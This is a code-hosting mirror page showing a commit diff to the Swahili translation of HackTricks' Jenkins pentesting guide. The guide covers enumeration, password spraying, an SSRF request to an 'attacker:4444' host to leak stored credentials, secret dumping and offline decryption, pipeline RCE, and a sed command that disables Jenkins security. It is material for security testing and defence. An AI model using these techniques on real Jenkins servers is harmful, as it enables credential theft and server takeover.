gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-ci-cd/jenkins-security/basic-jenkins-inf

Browse Source
This commit is contained in:
Translator
2026-01-17 16:56:34 +00:00
parent 9b65ecbc4c
commit ca04da2f98
2 changed files with 151 additions and 125 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-ci-cd/jenkins-security/README.md
+99 -85
View File
@@ -1,38 +1,38 @@
# Jenkins Security
# Usalama wa Jenkins
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Taarifa za Msingi
Jenkins ni chombo kinachotoa njia rahisi ya kuanzisha **continuous integration** au **continuous delivery** (CI/CD) mazingira kwa karibu **yoyote** mchanganyiko wa **programming languages** na hazina za msimbo wa chanzo kwa kutumia pipelines. Aidha, inafanya kazi mbalimbali za kawaida za maendeleo kiotomatiki. Ingawa Jenkins haiondoi **hitaji la kuunda scripts kwa hatua za kibinafsi**, inatoa njia ya haraka na yenye nguvu zaidi ya kuunganisha mfululizo mzima wa zana za kujenga, kujaribu, na kutekeleza kuliko mtu anavyoweza kujenga kwa urahisi kwa mikono.
Jenkins ni zana inayotoa njia rahisi ya kuanzisha **continuous integration** au **continuous delivery** (CI/CD) mazingira kwa karibu **kila** mchanganyiko wa **lugha za programu** na repositori za msimbo wa chanzo kwa kutumia pipelines. Zaidi ya hayo, inafanya automatisi ya kazi mbalimbali za kawaida za maendeleo. Ingawa Jenkins haiondoi **hitaji la kuandika scripts kwa hatua binafsi**, inatoa njia ya haraka na thabiti zaidi ya kuunganisha mnyororo mzima wa zana za kujenga, kujaribu, na kusambaza kuliko mtu anaweza kwa urahisi kuunda kwa mikono.
{{#ref}}
basic-jenkins-information.md
{{#endref}}
## Unauthenticated Enumeration
## Uorodheshaji Bila Uthibitisho
Ili kutafuta kurasa za kuvutia za Jenkins bila uthibitisho kama (_/people_ au _/asynchPeople_, hii inataja watumiaji wa sasa) unaweza kutumia:
Ili kutafuta kurasa za Jenkins zenye kuvutia bila uthibitisho kama (_/people_ or _/asynchPeople_, this lists the current users) unaweza kutumia:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Angalia kama unaweza kutekeleza amri bila kuhitaji uthibitisho:
Angalia kama unaweza kutekeleza amri bila kuhitaji authentication:
```
msf> use auxiliary/scanner/http/jenkins_command
```
Bila kuwa na akidi unaweza kuangalia ndani ya _**/asynchPeople/**_ au _**/securityRealm/user/admin/search/index?q=**_ kwa **majina ya watumiaji**.
Bila vigezo vya kuingia unaweza kuangalia ndani ya _**/asynchPeople/**_ path au _**/securityRealm/user/admin/search/index?q=**_ kwa **majina ya watumiaji**.
Unaweza kupata toleo la Jenkins kutoka kwenye njia _**/oops**_ au _**/error**_.
Unaweza kupata toleo la Jenkins kutoka kwenye njia _**/oops**_ au _**/error**_
![](<../../images/image (146).png>)
### Uthibitisho wa Hatari
### Udhaifu Zilizojulikana
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
## Ingia
## Kuingia
Katika taarifa za msingi unaweza kuangalia **njia zote za kuingia ndani ya Jenkins**:
@@ -40,40 +40,38 @@ Katika taarifa za msingi unaweza kuangalia **njia zote za kuingia ndani ya Jenki
basic-jenkins-information.md
{{#endref}}
### Jisajili
### Usajili
Utakuwa na uwezo wa kupata mifano ya Jenkins ambazo **zinakuruhusu kuunda akaunti na kuingia ndani yake. Rahisi kama hiyo.**
Utaweza kupata instances za Jenkins ambazo **zinakuruhusu kuunda akaunti na kuingia ndani yake. Rahisi kama hivyo.**
### **SSO Ingia**
### **SSO Kuingia**
Pia ikiwa **SSO** **ufunctionality**/**plugins** zilikuwepo basi unapaswa kujaribu **kuingia** kwenye programu kwa kutumia akaunti ya majaribio (yaani, akaunti ya majaribio ya **Github/Bitbucket**). Njia kutoka [**hapa**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
Pia ikiwa **SSO** **functionality**/**plugins** zilikuwepo basi unapaswa kujaribu **kuingia** kwenye application ukitumia akaunti ya mtihani (yaani, akaunti ya mtihani ya **Github/Bitbucket**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
**Jenkins** haina **sera ya nywila** na **kinga ya kujaribu nywila za majina ya watumiaji**. Ni muhimu **kujaribu kwa nguvu** watumiaji kwani **nywila dhaifu** au **majina ya watumiaji kama nywila** yanaweza kutumika, hata **majina ya watumiaji yaliyogeuzwa kuwa nywila**.
**Jenkins** haina **sera ya nywila** na **mbinu za kuzuia brute-force kwa majina ya watumiaji**. Ni muhimu kufanya **brute-force** dhidi ya watumiaji kwa sababu **nywila dhaifu** au **majina ya watumiaji kama nywila** yanaweza kutumika, hata **majina ya watumiaji yaliyorudishwa nyuma kama nywila**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying
Tumia [hii script ya python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) au [hii script ya powershell](https://github.com/chryzsh/JenkinsPasswordSpray).
Tumia [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) au [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
### IP Whitelisting Bypass
Mashirika mengi yanachanganya **mifumo ya usimamizi wa chanzo cha SaaS** kama GitHub au GitLab na **ufumbuzi wa CI** wa ndani, wa kujihifadhi kama Jenkins au TeamCity. Mpangilio huu unaruhusu mifumo ya CI **kupokea matukio ya webhook kutoka kwa wauzaji wa chanzo cha SaaS**, hasa kwa ajili ya kuanzisha kazi za pipeline.
Ili kufanikisha hili, mashirika **yanapitia** **mipango ya IP** ya **mifumo ya SCM**, ikiruhusu kufikia **mfumo wa CI wa ndani** kupitia **webhooks**. Hata hivyo, ni muhimu kutambua kwamba **mtu yeyote** anaweza kuunda **akaunti** kwenye GitHub au GitLab na kuikamilisha ili **kuanzisha webhook**, ambayo inaweza kutuma maombi kwa **mfumo wa CI wa ndani**.
Mashirika mengi huunganisha **SaaS-based source control management (SCM) systems** kama GitHub au GitLab na suluhisho la **internal, self-hosted CI** kama Jenkins au TeamCity. Mpangilio huu unawawezesha mifumo ya CI **kupokea webhook events kutoka kwa wauzaji wa source control wa SaaS**, hasa kwa kusababisha pipeline jobs.
Angalia: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## Internal Jenkins Abuses
Katika hali hizi tutadhani una akaunti halali ya kufikia Jenkins.
Katika matukio haya tutadhani una account halali ya kufikia Jenkins.
> [!WARNING]
> Kulingana na **mekanismu ya Uidhinishaji** iliyowekwa katika Jenkins na ruhusa ya mtumiaji aliyeathirika, **unaweza kuwa na uwezo au usiwe na uwezo wa kutekeleza mashambulizi yafuatayo.**
> Kulingana na mfumo wa **Authorization** uliowekwa kwenye Jenkins na idhini za mtumiaji aliyedukuliwa, **huenda ukaweza au huwezi kufanya mashambulizi yafuatayo.**
Kwa maelezo zaidi angalia taarifa za msingi:
Kwa taarifa zaidi angalia taarifa za msingi:
{{#ref}}
basic-jenkins-information.md
@@ -81,85 +79,101 @@ basic-jenkins-information.md
### Listing users
Ikiwa umefikia Jenkins unaweza orodhesha watumiaji wengine waliojiandikisha katika [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
Iwapo umeingia Jenkins unaweza kuorodhesha watumiaji wengine waliosajiliwa kwenye [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
### Dumping builds to find cleartext secrets
Tumia [hii script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) kutupa matokeo ya console ya ujenzi na mabadiliko ya mazingira ya ujenzi ili kut hope kupata siri za wazi.
Tumia [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) ku-dump build console outputs na build environment variables ili kutafuta siri zilizo wazi.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **Kuharibu Akiba za SSH**
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
Ikiwa mtumiaji aliyeathirika ana **mamlaka ya kutosha kuunda/kubadilisha node mpya ya Jenkins** na akiba za SSH tayari zimehifadhiwa ili kufikia nodi nyingine, anaweza **kuiba akiba hizo** kwa kuunda/kubadilisha node na **kuweka mwenyeji ambaye atarekodi akiba hizo** bila kuthibitisha funguo za mwenyeji:
Baadhi ya plugins hutoa Jelly `validateButton` au `test connection` handlers chini ya paths kama `/descriptorByName/<Class>/testConnection`. Wakati handlers **haziwekei POST au ukaguzi wa ruhusa**, unaweza:
- Badilisha POST kuwa GET na uondoe Crumb ili kupita ukaguzi wa CSRF.
- Endesha handler kama low-priv/anonymous ikiwa hakuna ukaguzi wa `Jenkins.ADMINISTER`.
- Fanya CSRF kwa admin na ubadilishe parameter ya host/URL ili exfiltrate credentials au kusababisha outbound calls.
- Tumia makosa ya majibu (mf., `ConnectException`) kama SSRF/port-scan oracle.
Mfano wa GET (hakuna Crumb) kubadilisha wito la validation kuwa SSRF/credential exfiltration:
```http
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
```
If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
### **Stealing SSH Credentials**
Ikiwa mtumiaji aliyepitwa na usalama ana **idhini ya kutosha ya kuunda/kuhariri node mpya ya Jenkins** na SSH credentials tayari zimehifadhiwa kwa ajili ya kufikia nodes nyingine, anaweza **kuiba credentials hizo** kwa kuunda/kuhariri node na **kuweka host itakayorekodi credentials** bila kuthibitisha host key:
![](<../../images/image (218).png>)
Kwa kawaida utapata akiba za ssh za Jenkins katika **mtoa huduma wa kimataifa** (`/credentials/`), hivyo unaweza pia kuzitupa kama unavyotupa siri nyingine yoyote. Taarifa zaidi katika [**Sehemu ya Kutupa siri**](./#dumping-secrets).
Kwa kawaida utapata Jenkins SSH credentials katika **global provider** (`/credentials/`), hivyo unaweza pia kuzidump kama ungevuta siri nyingine yoyote. Maelezo zaidi katika [**Dumping secrets section**](#dumping-secrets).
### **RCE katika Jenkins**
### **RCE in Jenkins**
Kupata **shell katika seva ya Jenkins** inampa mshambuliaji fursa ya kuvuja **siri zote** na **mabadiliko ya env** na **kufanya mashambulizi kwenye mashine nyingine** zilizoko katika mtandao mmoja au hata **kusanya akiba za wingu**.
Kupata **shell in the Jenkins server** kunampa mshambulizi fursa ya ku-leak zote za **secrets** na **env variables** na ku-exploit mashine nyingine zilizomo kwenye network ileile au hata kukusanya **cloud credentials**.
Kwa kawaida, Jenkins itakuwa **inaendesha kama SYSTEM**. Hivyo, kuathiriwa kwake kutampa mshambuliaji **mamlaka ya SYSTEM**.
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
### **RCE Kuunda/Kubadilisha mradi**
### **RCE Creating/Modifying a project**
Kuunda/Kubadilisha mradi ni njia ya kupata RCE juu ya seva ya Jenkins:
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
### **RCE Kutekeleza script ya Groovy**
### **RCE Execute Groovy script**
Unaweza pia kupata RCE kwa kutekeleza script ya Groovy, ambayo inaweza kuwa ya siri zaidi kuliko kuunda mradi mpya:
Unaweza pia kupata RCE kwa ku-execute Groovy script, ambayo inaweza kuwa kimyakimya zaidi kuliko kuunda project mpya:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
### RCE Kuunda/Kubadilisha Pipeline
### RCE Creating/Modifying Pipeline
Unaweza pia kupata **RCE kwa kuunda/kubadilisha pipeline**:
You can also get **RCE by creating/modifying a pipeline**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Ukatili wa Pipeline
## Pipeline Exploitation
Ili kutumia pipelines bado unahitaji kuwa na ufikiaji wa Jenkins.
Ili ku-exploit pipelines bado unahitaji kuwa na ufikiaji wa Jenkins.
### Kujenga Pipelines
### Build Pipelines
**Pipelines** zinaweza pia kutumika kama **mekanismu ya kujenga katika miradi**, katika kesi hiyo inaweza kuundwa **faili ndani ya hazina** ambayo itakuwa na sintaksia ya pipeline. Kwa kawaida `/Jenkinsfile` inatumika:
**Pipelines** zinaweza pia kutumika kama **build mechanism in projects**, katika kesi hiyo inaweza kusanidiwa **file inside the repository** itakayobeba pipeline syntax. Kwa default `/Jenkinsfile` inatumika:
![](<../../images/image (127).png>)
Pia inawezekana **hifadhi faili za usanidi wa pipeline mahali pengine** (katika hazina nyingine kwa mfano) kwa lengo la **kutenganisha** ufikiaji wa hazina na ufikiaji wa pipeline.
Pia inawezekana **kuhifadhi pipeline configuration files in other places** (kwa mfano katika repositories nyingine) kwa lengo la **kutenganisha** repository **access** na pipeline access.
Ikiwa mshambuliaji ana **ufikiaji wa kuandika juu ya faili hiyo** atakuwa na uwezo wa **kuyabadilisha** na **kuzindua** pipeline bila hata kuwa na ufikiaji wa Jenkins.\
Inawezekana kwamba mshambuliaji atahitaji **kupita baadhi ya ulinzi wa tawi** (kutegemea jukwaa na mamlaka za mtumiaji wanaweza kupitishwa au la).
Kama mshambulizi ana **write access over that file** atakuwa na uwezo wa **kuibadilisha** na **kuweza ku-trigger** pipeline bila hata kuwa na access ya Jenkins.
Inawezekana mshambulizi atahitaji **ku-bypass some branch protections** (kutegemea platform na privileges za mtumiaji zinaweza kuzuiwa au siyo).
Vichocheo vya kawaida vya kutekeleza pipeline ya kawaida ni:
The most common triggers to execute a custom pipeline are:
- **Ombi la kuvuta** kwenye tawi kuu (au labda kwenye matawi mengine)
- **Kusukuma kwenye tawi kuu** (au labda kwenye matawi mengine)
- **Sasisha tawi kuu** na kusubiri hadi itekelezwe kwa namna fulani
- **Pull request** to the main branch (or potentially to other branches)
- **Push to the main branch** (or potentially to other branches)
- **Update the main branch** and wait until it's executed somehow
> [!NOTE]
> Ikiwa wewe ni **mtumiaji wa nje** huwezi kutarajia kuunda **PR kwa tawi kuu** la hazina ya **mtumiaji/taasisi nyingine** na **kuzindua pipeline**... lakini ikiwa ime **pangwa vibaya** unaweza kabisa **kuathiri kampuni kwa kutumia hili**.
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
### RCE ya Pipeline
### Pipeline RCE
Katika sehemu ya awali ya RCE tayari ilionyeshwa mbinu ya [**kupata RCE kwa kubadilisha pipeline**](./#rce-creating-modifying-pipeline).
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
### Kuangalia Mabadiliko ya env
### Checking Env variables
Inawezekana kutangaza **mabadiliko ya env ya maandiko wazi** kwa pipeline nzima au kwa hatua maalum. Mabadiliko haya ya env **hayapaswi kuwa na taarifa nyeti**, lakini mshambuliaji anaweza kila wakati **kuangalia usanidi wote wa pipeline**/Jenkinsfiles:
Inawezekana kutangaza **clear text env variables** kwa pipeline nzima au kwa stages maalum. Env variables hizi **shouldn't contain sensitive info**, lakini mshambulizi anaweza kila mara **check all the pipeline** configurations/Jenkinsfiles:
```bash
pipeline {
agent {label 'built-in'}
@@ -174,21 +188,21 @@ STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### Kutolewa kwa siri
### Dumping secrets
Kwa maelezo kuhusu jinsi siri zinavyoshughulikiwa na Jenkins angalia taarifa za msingi:
Kwa taarifa kuhusu jinsi secrets kawaida zinavyotendewa na Jenkins, angalia taarifa za msingi:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Akreditivu zinaweza **kuwekwa kwa watoa huduma wa kimataifa** (`/credentials/`) au kwa **miradi maalum** (`/job/<project-name>/configure`). Hivyo, ili kutoa siri zote unahitaji **kushambulia angalau miradi yote** ambayo ina siri na kutekeleza mipangilio ya kawaida/iliyoshambuliwa.
Credentials zinaweza **scoped to global providers** (`/credentials/`) au kwa **specific projects** (`/job/<project-name>/configure`). Kwa hivyo, ili ku-exfiltrate zote unahitaji **compromise at least all the projects** zinazoshikilia secrets na kuendesha custom/poisoned pipelines.
Kuna tatizo lingine, ili kupata **siri ndani ya env** ya mpangilio unahitaji **kujua jina na aina ya siri**. Kwa mfano, unajaribu **kuchota** **`usernamePassword`** **siri** kama **`string`** **siri** utapata **kosa** hili:
Kuna tatizo jingine: ili kupata **secret inside the env** ya pipeline unahitaji **kujua jina na aina ya secret**. Kwa mfano, uki jaribu **load** a **`usernamePassword`** **secret** kama **`string`** **secret**, utapata **error** hii:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Hapa kuna njia ya kupakia aina fulani za siri za kawaida:
Hapa kuna njia ya kupakia baadhi ya aina za siri za kawaida:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
@@ -216,46 +230,46 @@ env
'''
}
```
Mwisho wa ukurasa huu unaweza **kupata aina zote za hati**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
Mwisho wa ukurasa huu unaweza **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
> Njia bora ya **kutoa siri zote kwa wakati mmoja** ni kwa **kuathiri** mashine ya **Jenkins** (kufanya kazi na shell ya nyuma katika **node iliyo ndani** kwa mfano) na kisha **kuvuja** **funguo kuu** na **siri zilizofichwa** na kuzifungua bila mtandao.\
> Zaidi kuhusu jinsi ya kufanya hivi katika [sehemu ya Nodes & Agents](./#nodes-and-agents) na katika [sehemu ya Post Exploitation](./#post-exploitation).
> Njia bora ya **dump all the secrets at once** ni kwa **compromising** mashine ya **Jenkins** (kwa mfano running a reverse shell in the **built-in node**) kisha **leaking** the **master keys** na the **encrypted secrets** na kuzidecrypt offline.\
> Maelezo zaidi kuhusu jinsi ya kufanya hili yako katika the [Nodes & Agents section](#nodes-and-agents) na katika the [Post Exploitation section](#post-exploitation).
### Vichocheo
### Vichochezi
Kutoka [nyaraka](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Maagizo ya `triggers` yanafafanua **njia za kiotomatiki ambazo Pipeline inapaswa kuanzishwa tena**. Kwa Pipelines ambazo zimeunganishwa na chanzo kama GitHub au BitBucket, `triggers` huenda zisihitajike kwani uunganisho wa msingi wa webhooks tayari utakuwepo. Vichocheo vilivyopo kwa sasa ni `cron`, `pollSCM` na `upstream`.
Kutoka katika [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Maelekezo ya `triggers` yamefafanua **njia za kiotomatiki ambazo Pipeline inapaswa kuanzishwa tena**. Kwa Pipelines ambazo zimeunganishwa na chanzo kama GitHub au BitBucket, `triggers` huenda zisihitajike kwani integration inayotegemea webhooks huenda tayari kuwepo. Triggers zinazopatikana kwa sasa ni `cron`, `pollSCM` na `upstream`.
Mfano wa Cron:
Cron example:
```bash
triggers { cron('H */4 * * 1-5') }
```
Angalia **esempu nyingine katika hati**.
Angalia **mifano mingine katika nyaraka**.
### Nodes & Agents
**Jenkins instance** inaweza kuwa na **wakala tofauti wakifanya kazi kwenye mashine tofauti**. Kutoka kwa mtazamo wa mshambuliaji, ufikiaji wa mashine tofauti unamaanisha **akili tofauti za wingu** za kuiba au **ufikiaji tofauti wa mtandao** ambao unaweza kutumika vibaya kuendeleza mashine nyingine.
A **Jenkins instance** inaweza kuwa na **different agents running in different machines**. Kutoka kwa mtazamo wa attacker, ufikiaji wa mashine tofauti unamaanisha **different potential cloud credentials** za kuiba au **different network access** ambazo zinaweza kutumiwa ku-exploit mashine nyingine.
Kwa maelezo zaidi angalia taarifa za msingi:
For more information check the basic information:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Unaweza kuhesabu **nodes zilizowekwa** katika `/computer/`, kwa kawaida utapata \*\*`Built-In Node` \*\* (ambayo ni node inayokimbia Jenkins) na labda zaidi:
Unaweza kuorodhesha **configured nodes** katika `/computer/`, kawaida utapata **`Built-In Node`** (ambayo ni node inayomendesha Jenkins) na labda nyingine zaidi:
![](<../../images/image (249).png>)
Ni **ya kuvutia sana kukiuka Built-In node** kwa sababu ina taarifa nyeti za Jenkins.
Ni **specially interesting to compromise the Built-In node** kwa sababu ina taarifa nyeti za Jenkins.
Ili kuonyesha unataka **kuendesha** **pipeline** katika **built-in Jenkins node** unaweza kubainisha ndani ya pipeline usanidi ufuatao:
Ili kuonyesha unataka **run** the **pipeline** katika **built-in Jenkins node** unaweza kutaja ndani ya pipeline usanidi ifuatayo:
```bash
pipeline {
agent {label 'built-in'}
```
### Mfano kamili
Pipeline katika wakala maalum, na kichocheo cha cron, na mabadiliko ya pipeline na hatua, ikipakia mabadiliko 2 katika hatua na kutuma shell ya kinyume:
Pipeline katika agent maalum, na cron trigger, na pipeline na stage env variables, inapakia 2 variables katika step na kutuma reverse shell:
```bash
pipeline {
agent {label 'built-in'}
@@ -286,7 +300,7 @@ cleanWs()
}
}
```
## Kusoma Faili Bila Mpangilio hadi RCE
## Arbitrary File Read to RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -306,7 +320,7 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Baada ya Kutekeleza
## Post Exploitation
### Metasploit
```
@@ -314,9 +328,9 @@ msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets
Unaweza kuorodhesha siri kwa kufikia `/credentials/` ikiwa una ruhusa za kutosha. Kumbuka kwamba hii itataja tu siri zilizo ndani ya faili `credentials.xml`, lakini **faili za usanidi wa kujenga** zinaweza pia kuwa na **siri zaidi**.
Unaweza kuorodhesha secrets kwa kufikia `/credentials/` ikiwa una ruhusa za kutosha. Kumbuka kwamba hii itaorodhesha tu secrets zilizo ndani ya `credentials.xml`, lakini **build configuration files** zinaweza pia kuwa na **more credentials**.
Ikiwa unaweza **kuona usanidi wa kila mradi**, unaweza pia kuona huko **majina ya siri (credentials)** yanayotumika kufikia hifadhi na **siri nyingine za mradi**.
Ikiwa unaweza **kuona configuration ya kila project**, pia unaweza kuona hapo **majina ya credentials (secrets)** zinazotumiwa kufikia repository na **credentials nyingine za project**.
![](<../../images/image (180).png>)
@@ -328,12 +342,12 @@ jenkins-dumping-secrets-from-groovy.md
#### Kutoka diski
Faili hizi zinahitajika ili **kufichua siri za Jenkins**:
Faili hizi zinahitajika ili **decrypt Jenkins secrets**:
- secrets/master.key
- secrets/hudson.util.Secret
Siri hizo **kwa kawaida zinaweza kupatikana katika**:
Secrets hizi kwa kawaida zinaweza kupatikana katika:
- credentials.xml
- jobs/.../build.xml
@@ -349,9 +363,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Fichua siri za Jenkins bila mtandao
#### Decrypt Jenkins secrets offline
Ikiwa umepata **nenosiri muhimu ya kufichua siri**, tumia [**hii script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **kufichua hizo siri**.
Ikiwa ume-dumped **nywila zinazohitajika ili decrypt secrets**, tumia [**script hii**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **ku-decrypt secrets hizo**
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -359,20 +373,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Fichua siri za Jenkins kutoka Groovy
#### Decrypt Jenkins secrets from Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Unda mtumiaji mpya wa admin
1. Fikia faili la Jenkins config.xml katika `/var/lib/jenkins/config.xml` au `C:\Program Files (x86)\Jenkis\`
2. Tafuta neno `<useSecurity>true</useSecurity>` na badilisha neno **`true`** kuwa **`false`**.
1. Fikia faili ya Jenkins config.xml katika `/var/lib/jenkins/config.xml` au `C:\Program Files (x86)\Jenkis\`
2. Tafuta `<useSecurity>true</useSecurity>` na badilisha **`true`** kuwa **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Restart** seva ya **Jenkins**: `service jenkins restart`
4. Sasa nenda kwenye lango la Jenkins tena na **Jenkins haitakuuliza taarifa zozote za kuingia** wakati huu. Tembelea "**Manage Jenkins**" kuweka **nenosiri la msimamizi tena**.
5. **Wezesha** **usalama** tena kwa kubadilisha mipangilio kuwa `<useSecurity>true</useSecurity>` na **restart Jenkins tena**.
3. Anzisha upya seva ya **Jenkins**: `service jenkins restart`
4. Sasa nenda kwenye portal ya **Jenkins** tena na **Jenkins haitakuuliza credentials** wakati huu. Nenda kwenye "**Manage Jenkins**" ili kuweka **administrator password** tena.
5. Washa tena **security** kwa kubadilisha mipangilio kuwa `<useSecurity>true</useSecurity>` na **anzisha upya Jenkins tena**.
## Marejeleo
## Marejeo
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
+52 -40
View File
@@ -1,87 +1,98 @@
# Msingi wa Taarifa za Jenkins
# Taarifa za Msingi za Jenkins
{{#include ../../banners/hacktricks-training.md}}
## Ufikiaji
### Jina la mtumiaji + Nenosiri
### Jina la Mtumiaji + Nenosiri
Njia ya kawaida zaidi ya kuingia kwenye Jenkins ni kwa kutumia jina la mtumiaji au nenosiri.
Njia inayotumika zaidi kuingia kwenye Jenkins ni kwa kutumia jina la mtumiaji au nenosiri.
### Keki
### Cookie
Ikiwa **keki iliyoidhinishwa inapatikana**, inaweza kutumika kufikia kikao cha mtumiaji. Keki hiyo kwa kawaida inaitwa `JSESSIONID.*`. (Mtumiaji anaweza kumaliza vikao vyake vyote, lakini itabidi ajue kwanza kwamba keki ilipatikana).
Ikiwa **cookie yenye idhini imeibiwa**, inaweza kutumika kufikia kikao cha mtumiaji. Cookie kawaida huitwa `JSESSIONID.*`. (Mtumiaji anaweza kumaliza vikao vyake vyote, lakini atahitaji kwanza kugundua kuwa cookie imeibiwa).
### SSO/Vyombo vya kazi
### SSO/Plugins
Jenkins inaweza kuundwa kwa kutumia vyombo vya kazi ili iweze **kupatikana kupitia SSO ya upande wa tatu**.
Jenkins inaweza kusanidiwa kwa kutumia plugins ili iweze kupatikana kupitia SSO ya mtu wa tatu.
### Tokens
**Watumiaji wanaweza kuunda tokens** ili kutoa ufikiaji kwa programu kujiwakilisha kupitia CLI au REST API.
Watumiaji wanaweza kutengeneza tokens kuwapa applications uwezo wa kuwatumia (impersonate) kupitia CLI au REST API.
### SSH Keys
Kipengele hiki kinatoa seva ya SSH iliyojengwa ndani kwa Jenkins. Ni kiolesura mbadala kwa [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), na amri zinaweza kutolewa kwa njia hii kwa kutumia mteja yeyote wa SSH. (Kutoka kwenye [docs](https://plugins.jenkins.io/sshd/))
Kipengele hiki kinatoa server ya SSH iliyojengewa ndani kwa Jenkins. Ni kiolesura mbadala kwa [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), na amri zinaweza kuitwa kwa njia hii kwa kutumia mteja yeyote wa SSH. (Kutoka kwa [docs](https://plugins.jenkins.io/sshd/))
## **Uidhinishaji**
## Authorization
Katika `/configureSecurity` inawezekana **kuunda njia ya uidhinishaji ya Jenkins**. Kuna chaguzi kadhaa:
Katika `/configureSecurity` inawezekana **kusanidi njia ya authorization ya Jenkins**. Kuna chaguzi mbalimbali:
- **Mtu yeyote anaweza kufanya chochote**: Hata ufikiaji wa kutokuwa na jina unaweza kusimamia seva.
- **Njia ya zamani**: Sawasawa na Jenkins <1.164. Ikiwa una **"nafasi ya admin"**, utapewa **udhibiti kamili** juu ya mfumo, na **vinginevyo** (ikiwemo **watumiaji wasiojulikana**) utakuwa na **ufikiaji wa kusoma**.
- **Watumiaji walioingia wanaweza kufanya chochote**: Katika hali hii, kila **mtumiaji aliyeingia anapata udhibiti kamili** wa Jenkins. Mtumiaji pekee ambaye hatakuwa na udhibiti kamili ni **mtumiaji asiyejulikana**, ambaye anapata tu **ufikiaji wa kusoma**.
